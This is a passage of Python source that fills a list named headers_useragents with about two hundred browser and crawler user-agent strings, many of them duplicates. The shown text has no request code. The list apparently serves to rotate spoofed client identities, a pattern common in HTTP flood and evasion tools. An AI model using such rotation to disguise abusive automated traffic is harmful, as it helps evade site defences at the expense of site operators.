  243.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  244.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  245.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  246.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  247.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  248.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  249.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  250.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  251.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  252.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  253.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  254.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  255.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  256.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  257.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  258.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  259.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  260.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  261.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  262.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  263.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  264.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  265.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  266.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  267.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  268.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  269.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  270.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  271.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  272.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  273.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  274.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  275.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  276.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  277.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  278.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  279.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  280.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  281.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  282.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  283.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  284.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  285.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  286.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  287.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  288.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  289.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  290.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  291.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  292.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  293.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  294.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  295.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  296.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  297.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  298.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  299.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  300.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  301.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  302.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  303.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  304.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  305.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  306.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  307.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  308.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  309.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  310.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  311.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  312.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  313.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  314.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  315.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  316.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  317.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  318.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  319.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  320.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  321.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  322.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  323.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  324.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  325.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  326.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  327.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  328.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  329.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  330.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  331.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  332.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  333.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  334.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  335.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  336.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  337.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  338.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  339.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  340.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  341.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  342.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  343.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  344.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  345.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  346.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  347.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  348.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  349.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  350.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  351.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  352.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  353.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  354.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  355.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  356.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  357.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  358.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  359.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  360.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  361.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  362.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  363.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  364.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  365.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  366.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  367.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  368.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  369.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  370.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  371.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  372.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  373.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  374.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  375.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  376.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  377.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  378.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  379.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  380.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  381.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  382.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  383.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  384.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  385.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  386.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  387.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  388.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  389.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  390.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  391.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  392.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  393.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  394.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  395.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  396.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  397.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  398.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  399.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  400.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  401.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  402.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  403.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  404.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  405.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  406.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  407.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  408.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  409.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  410.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  411.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  412.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  413.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  414.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  415.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  416.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  417.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  418.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  419.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  420.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  421.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  422.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  423.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  424.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  425.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  426.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  427.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  428.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  429.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  430.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  431.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  432.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  433.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  434.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  435.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  436.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  437.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  438.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  439.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
